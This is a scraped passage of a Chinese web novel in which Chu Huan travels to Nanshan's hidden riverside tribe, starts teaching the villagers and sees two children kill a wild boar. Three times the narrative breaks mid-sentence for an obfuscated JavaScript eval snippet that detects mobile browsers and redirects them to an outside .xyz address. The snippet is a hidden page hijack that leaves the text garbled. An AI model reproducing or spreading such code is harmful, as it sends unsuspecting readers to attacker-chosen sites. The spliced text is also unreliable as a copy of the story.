没事的时候,南山就点着字典,一个字一个字地听褚桓纠正讲解,白天念过,晚上他就默默地再记一次。南山脸上大约长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15088623|163607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一双火眼金睛,半夜看书从来不开灯,似乎黑暗丝毫也不影响他的视力,褚桓问过他不开灯的原因,得到了一个令人绝倒的答案——他这纯良的圣母朋友怕浪费宾馆的电。 一个礼拜以后,褚桓身上的枪伤不可思议地愈合了。 南山他们终于要离开了,此时,小芳还是那个只会头晃尾巴摇、无法交流的大熊,而南山已经凭借微薄的基础和夜以继日的努力,可以磕磕绊绊地做一些日常交流了。 “我要回去了,不能离开太久。”南山说,他从头到尾没有问过褚桓的伤是怎么来的,只是严肃地问,“如果遇到危险,你可以吗?” 褚桓依稀记得,第一次南山用字典跟他说话的时候,也提到了“远路危险”的词,不知道这个从没出过远门的少数民族兄弟把外面的世界脑补成了什么样的刀山火海,他忍不住笑了。 南山想了想,弯下腰,从脚踝处摸出了一把很像匕首的小刀,郑重地交到褚桓手里:“我没带什么,只有这个,它可以劈开风,抵御一切敌人。” 可以抵御一切敌人……就是恐怕过不了安检。 褚桓把匕首拿在手里掂了掂,那铁家伙沉甸甸的,貌不惊人,然而细看,又仿佛带着血腥味,蕴含着厚重的杀戮气息,不是行家看不出来。 南山俯身在褚桓的额头上贴了一下,而后直起腰,调动起新学的汉语:“保重,朋友。” 说完,他对小芳打了个手势,两人拎起简单的行囊,要离开了。 几天过去,小芳已经把褚桓当成好朋友了,走得一步三回头,十分恋恋不舍。 褚桓送了他们两步,脸上看不出什么,然而就在他把南山送到门口的时候,他忽然毫无预兆地开了口:“你想请老师,只是教说汉语吗?” 南山脚步骤然一顿,难以置信地回过头来。 “这个我也能教,走吧。”褚桓轻描淡写地说,“我可能得去县城买点东西,你等我半天吧。” 褚桓自己也不知道他怎么会做出这么抽风的决定。 好像南山一个背影,他就不想知道青梅竹马的姑娘生的是男是女了。 “本来就是,是男是女和我有什么关系?”直到他们一起走到大街上,褚桓还在琢磨,“又不是给我生的。” 忽然,南山拉住褚桓,问:“我给了他钱,他还在那,是又丢了吗?” 褚桓回头一看,敢情是那天碰上的骗子。 褚桓心知肚明,不过他依然耐心而沉默地听完了南山磕磕绊绊地描述骗子在纸上写的废话,这才平静地回答:“他不走,就以那个为生。” 南山一呆:“为什么?” 褚桓:“骗子,明白吗?” 他摊开南山的手,在他手心上一笔一划地写了个“骗”字:“这个念‘骗’,就是对别人说假话的意思,为了钱。” “为了钱,假的?”南山的眉头皱了起来,仿佛不能接受世界上还有这么丑恶的事。 褚桓暗叹了口气,怀疑自己即将前往一个真正的世外桃源。 等褚桓买完日用品,从小超市里出来的时候,他看见南山正在路边站着,盯着路另一边的骗子,不知是不是他的错觉,他一瞬间觉得南山身上似乎有某种杀意。 这时,褚桓看见南山指尖似乎弹出了什么,隔着至少七八米的距离,准确无误地点中了骗子的额头,而后他徒手做了个“抓取”的动作。 褚桓感觉到了某种诡异的气流与自己错身而过,接着,乞讨盆里的纸币被一阵无来由的风抓了起来,上下翻飞。 骗子连忙伸手去抓,他刚爬起来一半,突然捂着胸口倒了下去,眼睛瞪得像金鱼,浑身诡异得抽搐着。 飘得最远的一张二十块钱笔直地飞进了南山手里。 褚桓瞳孔骤缩——这是怎么做到的? 完全没有道理! 仿佛是察觉到褚桓的目光,南山转过头来,温和地低声解释说:“不会死,他不该偏……嗯,骗人钱。” 11. 现世 褚桓以通知的语气和效率向老王汇报了自己的新动向,并在对方表达看法——也就是骂娘之前,就率先挂断了电话,然后他们一起坐上了一辆不知道开往何方的大巴。 褚桓上了车就开始闭目养神,直到这时,他的脑子里还在忍不住回放南山收拾骗子的那一幕,如果可以的话,他几乎想把那段录下来,一帧一帧地分析。 当时,骗子口吐白沫倒地后,吸引了许多群众驻足围观,但由于骗子本人流窜到此地已经有一阵子,当地人都把他认了个脸熟,所以围观归围观,大家一开始都认为这是装的,没有人管。 南山这个罪魁祸首就明目张胆地站在人群之外,双手一背,神色之淡定,表情之自然,仿佛这不是他干的一样。 骗子边吐边抽搐,抽搐的动作像个提线木偶,就像有一只看不见的手在摆弄着他的四肢,乍一看不但像装的,演技还略显浮夸,有人在旁边看了直乐,直到骗子吐出的东西里见了红。 开始是血沫,后来居然有血块混杂其中。 周围的人见了血,终于严肃了下来,有一位上了些年纪的老人率先上前,面色犹疑,张罗起要把人送医院,褚桓看了南山一眼,只见那位别具一格的“圣母”眉毛微微一扬,好像是大发慈悲地“今天还有事,就这么着吧”,然后意犹未尽地扬长而去了。 他抬腿一走,那方才还在吐血的人简直像给按了暂停键,立刻停止了满地打滚,下一秒,骗子居然灰头土脸、面带莫名地爬了起来。 围观的人一哄而散,方才热情张罗的那位大爷脸色一变,感觉自己受到了欺骗,啐了骗子一脸,气得像个葫芦,也走了。 也许南山使用了一些未知的草药,褚桓不了解中草药,这方面他就不去细想了,可那飘过来的二十块钱又该怎么解释? 难道当时突然吹来一阵莫名其妙的风,那么凑巧就吹翻了骗子装钱的碗,又那么凑巧,一分不多一分不少地把二十块钱吹回到南山手里? 褚桓几乎要怀疑起那是传说中的气功了,不是他想宣扬封建迷信,是他真的逐帧分析了一遍,依然没能琢磨出南山到底是怎么做的。 这样一来,臆想中的世外桃源凭空蒙上了一层有点神秘的色彩。 褚桓预料到了旅途的漫长,没有预料到是这样的漫长。 他们先搭了辆四处漏风的大巴,一直坐到了人迹罕至的终点,南山和小芳正经八百地跟莫名其妙的大巴司机道了谢,然后他们开始徒步走,走了大约十几公里的山路,到了一个远近无人的荒郊野岭。 见南山停下来,褚桓以为是对方要休息,没想到小芳突然以一种与他那壮硕体型严重不符的矫健灵活,蹿上了一棵大树。 大树有些年头了,粗而直,得有七八米高,小芳几个起落就攀到了树顶,如履平地似的轻松,褚桓手搭凉棚抬头看着他,明白了“毛猴”的由来。 小芳从腰上取下了一个金属的号角,凑到嘴边,呜呜地吹了起来,那东西没有巴掌长,褚桓还一直以为只是腰带上的装饰品。 号角的声音旷远低沉,又彷如含着金石之声的凛冽,随风送出去老远,褚桓眯起眼睛,觉得这几声号角像是某种呼唤。 果然,片刻后,他听到了马蹄声,褚桓惊异地抬头望去,只见远方跑来了三匹马,整齐地停在了南山面前,撒欢似的绕着他仰头嘶鸣,领头的那只还撒娇似的把大长脸垂了下来,让南山抚摸它的鼻子。 又一项匪夷所思的技能。 就这样,他们仨的交通工具从“十一路”换成了“四路”。 路上,褚桓漫无边际地瞎琢磨,也不知道半路上跟他擦肩而过的那个小青年会不会骑马,普通人大多在一些休闲娱乐的场合接触过马,如果只是骑一下,可能问题不大,但骑马走这种崎岖的山路……那估计就不怎么娱乐了。 这么看来,那位仁兄临阵脱逃的决定真是再正确也没有了。 他们行走在荒郊野岭、杳无人烟的地方,到了晚上,就幕天席地地过夜。 南山和小芳两个土鳖连立拍得还没摆弄明白,大概更不知道世界上还有一种东西叫做“帐篷”,他们俩充分地表现出餐风沐雨的皮糙肉厚来,随便生一堆火就能怡然自得地凑合一晚上。 褚桓不知道这万一要是换个文弱书生来,能不能在这俩货的带领下,活着抵达目的地。 可见申请了好多年没人来也是非常正常的。 不过对于褚桓来说,旅程还是很愉快的,因为南山守夜的时候会用树叶吹不同的小曲,他一边吹,褚桓就一边用眼镜里藏的芯片录音,那叶笛声中混入夜风,风流婉转,浑然一体,都不用后期编曲处理,已经自成风格。 褚桓成了这个原生态音乐人的铁杆粉丝。 骑马整整走了一天一夜,就在褚桓怀疑自己已经离开了国境的时候,他们抵达了一条河边。 见到那条河的瞬间,褚桓就明白了南山嘴里为什么会有“河这边”的说法,在此之前,自以为已经快走遍世界的褚桓从没有想过,有一天自己竟会在一条河面前目瞪口呆。 只见那河背后是十万大山绵延相连,对岸包裹在浅浅的雾气里,以他的眼力,竟然全然看不清楚,河水如一条山间垂落的缎带,蜿蜒而下,水不深,却很清,骑马应该可以直接过去,可褚桓就有一种感觉——河的对岸是另一个世界。 小芳赶马上前,嗷嗷直叫,声音在大山中来回悠荡,林中的群鸟受惊飞起,冲向湛蓝得无一丝阴霾的天空。 南山回头对褚桓说:“过河就到了。” 褚桓:“你家?” 南山弯起眼睛:“我家。” 说完,他轻轻一夹马腹,纵马蹚水渡河。褚桓跟了上去,行至河心,雾气似乎越来越大,那雾渐渐地漫到了水里,周围的能见度也越来越低。 褚桓一瞬间恍惚起来,想起了小时候学过的《桃花源记》。 “林尽水源,便得一山,山有小口,仿佛若有光。” 一只手斜伸过来,拉住了他的马缰。 南山:“我带着你。” 那浓雾先是越来越厚重,最浓的地方能见度不足半尺,不知走了多远,雾气才重新开始变得稀薄起来,渐渐的,有阳光穿透了进来,被光打薄的雾中一下宛如仙境。 “便舍船,从口入,初极狭,才通人,复行数十步,豁然开朗,土地平旷,屋舍俨然……” 忽然,褚桓耳朵一动,他听见了一声长而稚嫩的呼喊,好像是个孩子,喊得是什么听不懂,但是声音清脆而愉悦。 而后,低一些的、更多的童音加了进来,七嘴八舌的。 南山突然在褚桓的马身后拍了一下,褚桓感觉那马腾空一跃,他情不自禁地拽了一下缰绳,眼前的浓雾突然散了,视野刹那间明朗起来。 褚桓忍不住一时间呆住了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15088624|163607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>西南多山,本地的村落不比平原,规模大多很小,几户相邻就是一村,可是这里却是罕见的一马平川,那条神秘的河水在这里三岔分开,像一条灵蛇钻入了村子中间,一侧是茂密到一望无际的森林,一侧是高低起伏的民居小楼。 因为地方大,房子与房子之间空隙也很大,错落有致,一群大约是刚学会走路的小崽子们成群结队地跑来跑去,大人也不管,仿佛一点也不担心他们掉进河里。 有几个大一些的孩子已经早早地等在河边,看见他们来,那领头的小姑娘一蹦三尺高,拼命地向他们挥着手,大叫了一个长长的称呼,褚桓听见小芳也是这么称呼南山的,他猜那大概代表南山在族中的某种地位。 褚桓没有贸然开口问,这地方有太多不可思议处,他的眼睛有点忙不过来。 河边彪悍的领头小姑娘飞起一脚,踹在她跟班小弟的屁股上,把那光着膀子的小男孩踹出了好几步,她“哇啦哇啦”地说了什么,小男孩也不生气,憨厚地一摸头,掉头跑了,可能是去叫人了。 他们三个上了岸,小姑娘立刻带领了一大帮半大孩子围上了南山。 小芳却佯装怒气冲冲地伸手拍了一下她的脑门,仿佛是在训斥她无礼,小女孩也不含糊,像一只小野狗,骤然挨了巴掌,立刻奋起反击,一跃而起,一口咬住了小芳的巴掌。 一大一小就这样旁若无人地掐将起来。 南山也不拦着,回头对依然站在岸边的褚桓指了指那小姑娘:“这是他家的孩子,木木古图,就是……刚长出的花。” 褚桓:“……” 这“花骨朵”真是虎父无犬女,孝顺得如此凶猛。 一大帮少年儿童聚拢在南山附近,伸长了脖子,探头探脑地打量着褚桓,好像山外来了一只大熊猫,十分新奇,只是不知道这稀罕物习性如何,一个个只是看,不敢过来。 褚桓其实不大喜欢小孩,熊孩子一吵闹,他的头就能大两圈,然而他想起自己那坑爹的教师身份,感觉对他们也不便太过严肃,于是他微微低头,笑着地对小崽们点头以示友好。 少年儿童们“哗”地一声,犹如受到了莫大惊吓,一溜烟地躲到了南山身后。 褚桓:“……我不咬人,真的。” 很快,其他人也得到了消息,大人们也接二连三地跑了出来。 这里的人无论男女都蓄长发,男人们大多不穿上衣,女人们的眼睛普遍都很大,显得水灵灵的,只是身体大多粗壮,带着悍气。 除了不怎么讲究的小孩,每个成年人见了南山,都会停下脚步,毕恭毕敬地行礼,接着,人群簇拥着几个老人走出来,那几个显得很有地位的老人站成一排,一起向南山致意,南山不怎么在意地挥了挥手,回头拉住褚桓的手腕,举起来宣布了一句什么。 说完,他拉着褚桓从人群中走过,所有人都只在后面跟着,没人越过他们。 褚桓就是再瞎,也看明白了,南山是他们的族长。 一族族长,在自己的地盘上一呼百应,说一不二,耄耋老叟见了他也恨不得顶礼膜拜,却只带着一个随从,千里迢迢地到他所不熟悉的县里接人,他穿着打扮这么古怪,普通话又说成那副德行,加上行为举止特立独行,大概少不了被人围观笑话……可是他这么满怀期望,却还是一次次扑空,总是接不到想找的人。 褚桓忽然觉得这个年轻的朋友有些了不起。 12. 现世 离衣族聚居地中,有很多因为种种原因而空下来的房子,南山让褚桓随便选,只是有一条,不能是沿河靠近森林的那一侧。 南山没有解释原因,褚桓也没问,自从过河后,他就一直对这块地方有种毫无来由的敬畏感。 有判断的时候相信自己的判断,没有清晰判断的时候相信自己的直觉——于是褚桓果断顺从了自己的第六感。 再者说,这的姑娘们都那么勤劳,没准天还没亮就会到河边洗洗涮涮,一群彪悍的老中青妇女们说说笑笑打打闹闹,没准比广场舞老太太威力还大,哪天推开窗户一看,还容易看见一些限制级镜头…… 要知道,真实世界里的限制级并没有太多的旖旎,绝大多数都属于让人恨不得挖出狗眼的。 南山就算不提,他也不会选河边。 褚桓骑着马转了一圈,十分速战速决地解决了自己的住处——他看上了一幢离群索居的旧房子。 据说那房子以前是位老人的,老人的寿命坚如磐石,熬死了老婆子女,又熬死了孙子辈,最后重孙子夭折,他看着自己断子绝孙,才依依不舍地告别了人间,从此后继无人。久而久之,他的房子就归了族里,眼下经过族长拍板,给了褚桓。 此地处处都是高端大气的独栋别墅,褚桓环顾一圈不由得有些辛酸,他为国为民干了那么长时间玩命的勾当,末了也就只分配了一个猫窝似的小公寓,闹了半天还不如乡村老师的的员工宿舍宽敞。 不过进屋以后,褚桓就完全不觉得这里奢靡了,这屋可真不愧是空置多年的鬼宅,里面名副其实的一贫如洗,干净得蝙蝠都懒得扒窗户。挑高绝非一般庸楼俗墅比得上——外面看是小二楼,走进去一看发现就一层,而且依然是一室无厅……恐怕他这辈子也摆脱不了一室无厅的住宿标准了。 啧,穷鬼的命。 仰起头,褚桓能透过天窗看见万里无云天,几百年的大树……以及大树上一排球球蛋蛋的熊孩子。 褚桓目光倏地一凝——这高度好歹得接近六七米了吧? 树枝上蹲着的孩子一对上褚桓的目光,立刻呼朋引伴,风紧扯呼,只见领头的那个率先往下一蹦,端是清风拂过、屁帘翻飞,身手很是了得。 他伸手一把抓住下面的一根树杈,忽悠两下就没了踪影,剩下的几个也紧随其后,排着队,一阶一阶展开高空跳树运动,三三两两地全都安全落了地。 褚桓:“……” 贵地这猴子长得也忒像人了。 日常起居上,褚桓是相当能凑合的,蟑螂能活的地方他都能活,反倒是南山生怕委屈了他,很快纠集了一帮人给他收拾房子,那十来个光膀子的彪形大汉站成一排,活脱脱是一堵人墙,他们统一一致地冲褚桓咧开嘴,呲牙一笑,就地组成了一支大白鲨别动队。 褚桓本人则被动体会了一把“十指不沾阳春水”的少爷生活,他无所事事地站在一旁,插不上手,小芳山呼海啸地跑过来,把他拽去了族长家门口的平地上,接受欢迎仪式。 全世界各地的欢迎仪式大抵有其相似之处,基础元素也就是“唱歌跳舞喝酒吃肉”四大要点。 离衣族的习俗是男人跳舞,女人唱歌,那舞蹈热烈极了,在褚桓眼里,世界上的舞蹈分为两种,一种是“转圈”,一种是“蹦跶”,离衣族的舞蹈属于“蹦跶”系列。 好几十号五大三粗的汉子一起在旁边蹦跶的感觉,就是仿佛大地都在颤抖,打出某种天然的鼓点,视觉效果几乎是震撼的。 女人们唱了什么词褚桓不知道,估计大意无外乎“欢迎欢迎热烈欢迎”之类,他只是觉得那声音异常的清丽嘹亮,极富穿透力,胸中盘桓不去的郁结一时间彷如被按下抚平了,不知谁在他手中破碗里倒了一碗酒,这回的酒去了药香与腥气,烈而辛,直冲头。 下沉秋水,天高地迥。 这样闹腾的场合,褚桓原本避之唯恐不及,可是此时此刻,周围人虽然喧嚣不停,但只要南山不开口跟他练习中文口语,他就没有一句听得懂,因为无法交流,所以他找到了某种近乎于“闹中取静”的感觉,人声与鸟语没什么不同,他的世界里就依然只有一个人。 就着黄云苍山下酒,褚桓居然有些怡然自得起来。 南山默不作声地在一边陪着,有他坐镇在这里,其他人不敢太放肆,自然而然地把他们坐的位置隔出了一小块空地,只有小芳跟在族长身边的时间长了,不怎么忌讳,捧着大海碗跑过来,在众人羡慕的目光下抓住褚桓的胳膊,要跟他碰一下碗边。 褚桓:“来,小芳,干了。” 他说完,立刻言出必行,抬起酒碗,大口灌了下去。 小芳也不甘示弱,跟着一口喝干,好像是喝得痛快了,放开嗓子大笑起来,冲褚桓伸出一只带着牙印的巴掌。 褚桓一看他动作,立刻心有灵犀,默契地跟他重重击了一下掌,被对方用力捏住手,使劲晃了两下。 小芳捶着胸口大叫:“阿兰呜——” 褚桓看向南山,南山解释说:“好朋友。” 说完,南山想了想,又忍不住问:“你叫他什么?” 褚桓:“小芳。” 南山:“是什么意思?” 褚桓从草地上拔起一朵花,凑到南山鼻子下面:“花,花香。” 南山呆呆地看着那朵娇柔的小花,脸上第一次露出了十分科幻的表情。 小芳大概还以为褚桓在夸自己,搂住他的肩膀又叫又跳。 年轻的族长却一哂之下,不动声色地打量起自己请回来的客人——那人有一头很整齐的短发,鼻梁上架着的比水晶还透亮的镜片,看起来白净又文弱。 从头到脚都和他们不一样。 他甚至和南山接触过的不多的“河那边”人也不一样,无论是他眯起眼睛望向不知名的地方,还是懒洋洋地动动嘴角一笑,都带着“河那边”的人也没有的东西。 南山不知道怎么形容,总而言之,就是一看到这个人,他就觉得世界上的其他人都简单得一目了然,忽然之间没了层次似的。 “褚桓,”南山心里不熟练地默默念了一遍他的名字,“他肯到我们这种没有人愿意来的地方,一定是个很好的人。” 褚桓不知道自己已经不知不觉地收到了一张好人卡,他跌宕起伏的乡村教师生涯开始了。 上课的地方就在他们唱歌跳舞的空地上,族里的汉子不知从哪找到了一块巨大的白石头支在那里,又给他找了一把黑乎乎的碳棒,需要的时候可以往石头上写字,小芳蹲在石头旁边,十分训练有素,只要石头写满,不用人吩咐,他就会冲上去擦干净。 可惜此人擦黑板认真,听课却是一知半解,有时候褚桓话没说完,还有一半卡在嗓子眼里,就被他冲上来擦了,每到这时,褚桓就只好停下来,微笑着擦擦眼镜,心里很想殴打他,苦于营造了半天的斯文形象,不好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15088625|163607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动手——不过总有人会代劳,南山身边另一个侍卫模样的年轻人就对殴打小芳十分在行。 那年轻人叫“什么什么多”,听南山翻译,是“闪闪发光的断崖”的意思,离衣族人起名字的思路十分诡谲,褚桓反正想象不出断崖怎么闪闪发光,他摔过一次,对断崖充满了阴影,于是把人家的名字简化成了“大山”。 大山是个不到二十岁的少年,却已经长了个人高马大的身板,平时不苟言笑,笨拙地往那里一坐,却比谁都用心学习,所以他格外烦小芳这种搅屎棍子,小芳一打岔,他就一个鞋底飞过去。 到后来,大山已经养成了一看褚桓擦眼镜,就找东西扔小芳的条件反射。 由于除了南山认识几个字、会说几句话以外,其他人跟褚桓是完全无法沟通的,因此上课的时候需要族长在一边,把褚桓教的字词翻译成离衣族自己的语言,有时候连族长也翻译不了,师生间就必须停下来艰难反复地沟通。 褚桓的学生包括全村老小,族长不可能一天到晚当助教,大人们也不可能一天到晚不干活,所以每天的教学时间只有傍晚,不到一个小时,工作十分轻松。 褚桓原本预备的欢迎词是以“孩子们”开头的,结果当天到场一看,真孩子居然不是他学生的主流构成,话到嘴边机智地拐了个弯,变成了:“孩儿们——” 南山努力地教其他人叫“老师”,不过“老”字的发音拐弯,大概对初学者而言不是很容易,众人七嘴八舌地学不利索,褚桓大手一挥:“叫什么老师,叫‘大王大王’就行了。” 这俩字简单,一学就会,顿时一片“大王”的呼声此起彼伏,整个离衣族成了个花果山。 褚桓面色严肃而坦然,完全继承了褚爱国先生一本正经“逗你玩”的精髓,若无其事地从数数教起,以至于若干年后,单纯善良的离衣族群众都认为“大王大王”就是“老师”的意思。 一个月的时间过得飞快,褚桓只有每天上课的时间会准时出现,一天中的其他时候都是神龙见首不见尾。 除了睡觉,褚桓很少回自己的屋里,因为一抬头总能发现大树杈上又坐着几个光屁股偷窥他的猴孩子。 他早晨一般天不亮就会起来,绕山绕河做基础的体能训练——褚桓不觉得自己是那种自怨自苦的人,他认为自己的问题很可能有生理原因,于是强硬地给自己规定了作息和训练,刚开始,他身体里仿佛有什么阻止他对自己的逼迫,情况坏的时候,他会头疼欲裂得恨不得拿刀戳自己,这个时候,他就只能靠褚爱国给他的那枚戒指,一遍一遍地提醒自己答应老头的承诺。 等稍稍缓过一口气,他就会去南山坐一会,听他吹一会笛子或者跟他聊几句天,褚桓觉得自己能汲取很多珍贵的生命力。 由于语言障碍,离衣族里,除了族长南山,没有人能和褚桓说上话,这间接地让族长的形象显得更加光辉。 找不着褚桓的时候,大孩子就会领着小孩子,每天乐此不疲地玩一个游戏——找“大王大王”。 这简直成了一种有乐趣的探险,虽然就算找到了褚桓,他们也不大好意思凑到他面前说话,但是万一真找到那么一次,他们就能回去和小伙伴吹嘘很久。 可惜,除了褚桓自己出现,小崽子们没有一次能成功地把他翻出来。 不过尽管褚桓不打听不好奇,随着时间的推移,离衣族的种种不同寻常之处,还是不可避免地撞在了他眼里。 13. 现世 那天褚桓叼着一个野果,夹着一本书,来到了林子里躲清闲——南山跟他说过山林里有野兽,让他尽可能离远一点,不过褚桓没怎么在意,他反正觉得野生动物挺可爱的。 他找了一棵最高的大树,敏捷地爬了上去,途中遇到了一条盘踞在树杈上的毒蛇,毒蛇领地骤然被入侵,立刻做出了本能的攻击动作,褚桓伸手一捏,精确地卡住了蛇的七寸,轻轻一抛,就把人家扔到了对面的树枝上,执行了强制拆迁。 把愤怒的毒蛇气得直在树枝上转圈。 而后褚桓人占蛇巢,在密林掩映的高处找了个地方,背靠着大树干坐下来。 那些书还是在县城一家快关门的小书店里买的,说是“书店”,其实主营业务是凉拌米鱼和油炸土豆,兼职处理点旧书和杂志,当时走得很急,褚桓也没看内容,直接打包批发了一打。到了离衣族翻了翻,带画的过期杂志都被南山要走了,只给他剩下了一大堆严肃作品。 对于褚桓这种没有文艺细胞的人来说,基本就是催眠读物。 书的内容本身已经让人费解,偶尔还要对着上面耗子啃的窟窿冥思苦想半天连接上下文,褚桓纯打发时间,看得很慢,也不怎么走心,有时候能看进去只言片语,有时候干脆是对着歪斜的书页发呆。 这天他刚把野果啃完,果壳还没来的及扔,就听见树底下传来一阵动静。 褚桓听了两耳朵,觉得声音不大对,忍不住低头看了一眼,一眼扫过去,他当时就吓了一跳,只见树林中不知从哪跑来了一头野猪。 褚桓倒不怕野猪,就算跑来的是头老虎,也不能把他怎么样——关键是树底下还有俩孩子。 其中一个是小芳那十一二岁的小女儿花骨朵,她的发型实在是自成一家,别人梳辫子,都梳一条或者两条,她梳三条,左右两边,脑袋后面还有一个,乍一看,活像个黑漆漆的大象背着一张人脸,所以褚桓从高处一眼就把她认了出来。 还有一个小男孩,可能是花骨朵那个万年小跟班,褚桓记得他虎头虎脑的,年纪比花骨朵还小。 褚桓不敢迟疑,立刻把书扔在一边,悄无声息地顺着树干往下滑,他是个暗杀专家,经过的地方就好像微风吹过,片叶不惊。 他出来的时候没带枪,身上只有贴身的军刺和南山送他的短刀,都是冷兵器。而最多十几米以内,野猪就能闻见他的味道,他必须速度够快,必须一击毙命,绝对不能让野猪有挣扎或者逃窜的机会,否则那俩小崽子就危险了。 褚桓勾住三棱刺,转眼已经调整好了角度,谁知就在他准备动手的时候,花骨朵突然毫无预兆地朝野猪扑了过去,小女孩的身影不偏不倚地挡在了褚桓和野猪中间。 卧槽,这作死的熊孩子! 褚桓当场出了一身冷汗。 这只野猪个头不算很大,目测百十来斤,不知怎么的落了单,但哪怕不是野猪中的巨猪,它也依然有着凶残的物种优势,显然没把人类的小丫头放在眼里。野猪冲着小女孩露出了尖锐的獠牙,而褚桓一击的路径也已经被她破坏殆尽,他只好顺势落地,迅速变化位置。 就在这时,褚桓瞥见花骨朵的小跟班拿出了一把弩。 他眼角一抽,立刻明白了,闹了半天这俩小崽子根本不是偶遇,是蓄谋已久地准备在这里抓野猪。 野猪皮糙肉厚跑得快,没受过训练的人带着步枪恐怕都打不下来,小芳这闺女不愧是胆敢当着族长的面咬她爹的女中豪杰,简直不知天高地厚到了一定的境界。 可是小伙伴被野猪追逐,那平时受气包一样的跟班男孩脸色居然丝毫不变,他的脚仿佛牢牢地长在了地上,电光石火间,女孩一步蹿上了树,野猪险些撞到树根,只好大幅度刹车,它的动作刚一缓,男孩已经精准地抓住了这个一纵即逝的机会,弩箭准确无误地打中了野猪的头。 藏在树丛中的褚桓几乎忍不住想替他叫声好。 此时,褚桓已经绕到了野猪背后,从这个角度,他探手就能把那畜生穿成烤乳猪,因为有把握,所以一时没动,他打算看看这俩崽子到底想干什么。 那小男孩手里的弩做工粗糙,力度和精度都很有限,能用这种工具狠狠地打中野猪的头,必须得有娴熟的技术和十分稳定的心理素质,从这方面看,这男孩比大部分的成年人都强得多。 褚桓有种感觉,这俩孩子可能并不是单纯的不知天高地厚。 与此同时,树上的女孩猛地翻了个跟头,从树后拽出了一根藏在那里的长矛,她居高临下地跳了下来,借助自己的重量,直直地把长矛捅进了野猪的脖子。 野猪垂死挣扎,巨震之下,女孩手里的长矛脱了手,她也不慌张,冷静地撒手,踉跄几步退开站稳,冲着男孩喊话:“打它的嘴,打它的嘴!” 那是离衣族的话,这一段时间以来,褚桓教学生说汉语的时候一直有南山在旁边跟着翻译,褚桓虽然一直表现得漫不经心,但还是暗自一一记住了。 到了陌生的环境,哪怕心情放松,他也会本能地在最短的时间内收集尽可能多的信息。尽管他学得还不多,但小孩子之间说话用词比较简单,他能听懂个七七八八。 ……当然,对外褚桓还是假装完全听不懂,否则以离衣族人民的热情,说不定会志愿地组个团来教他说话。 小男孩立刻服从指挥,飞快地又放了一箭,打得是野猪头上的同一侧,顿时把方才企图爬起来的野猪重新打趴下了,然后他来了个十分风骚的走位,趁它疼得张嘴咆哮的时候,一弩箭射进了它的咽喉里。 在褚桓的注视下,这大家伙算彻底死透了。 他这才轻轻地舒了口气,感觉有一点难以置信。 褚桓最后还是没露面,他看着花骨朵那个小丫头喘了几口气,指挥她的跟班小男孩:“一人拖一条腿,你那边,我这边。” 小跟班不敢有异议,低眉顺目地捡起野猪的一条腿,俩人合力把它拖走了,走了两步,花骨朵仿佛感觉到了什么,回头往褚桓躲着的地方张望了一番,什么都没发现,她这才抓抓头发,带着一点犹疑走了。 褚桓再一次确定了,这离衣族人肯定有其天赋异禀之处——壮汉似铁塔,儿童赛野猪。 这时还没到上课的点钟,褚桓把三棱刺收好,缓缓地从树丛中走了出来,忽然,耳边传来窸窸窣窣的动静,褚桓抬头一看,只见那条被他强拆的毒蛇又磨磨蹭蹭地凑了过来,正睁着一双险恶的小眼睛,小心翼翼地打量着他。 就以一条三角脸的毒蛇来看,它长得还算颇为清秀。 褚桓面无表情地和它对视了一会,坦然承认了自己的错误:“哦,是我刚才不讲理,你继续在这上面盘着吧。” 说完,他绕小路回离衣族里去了。 远远的,褚桓就看见花骨朵和她的小跟班把野猪拖进了河里,几个在河边打水做饭的女人瞧见,立刻跳下来,一起把野猪扛了上去,花骨朵抹了一把鼻涕,趾高气扬地踩着水蹦跶着。 褚桓心说:“看你妈不打断你的狗腿。” 可惜他没能如愿以偿,小芳的老婆见了野猪,非但没有呵斥,还慈祥地摸了摸女儿象鼻子一样的三条小辫,然后随和地放他们去玩了,隔得太远,语言又不熟,褚桓只大概听了个音,好像是她承诺了晚上给花骨朵烤个猪心吃。 褚桓默默地收回目光,忽然间明白了什么叫做“百年大计在教育”,以及什么叫“有熊妈就有熊孩子”。 他低头敛目从人群中走过,别人都不怎么上前打扰,大人们隔得远远的,会拘谨地用半生不熟刚学的汉语打声招呼,小孩则会“呼啦”一下散开。 褚桓径自走到每天上课的空地中间,背靠大白石头坐下,一边随手翻书,一边等着众人来。 不久,以他为中心,五六米左右为半径,就围了一大圈的小崽子,他们以为他什么也听不懂,于是毫不避讳地当着他的面交头接耳,对褚桓进行了现场围观。 褚桓就听见杀猪英雄花骨朵对她的跟班说:“我妈昨天跟我说,大王大王鼻梁上那个东西是冰做的,冰你知道吧?厚了就是白的,不透明,所以它肯定很薄,一碰就碎。” 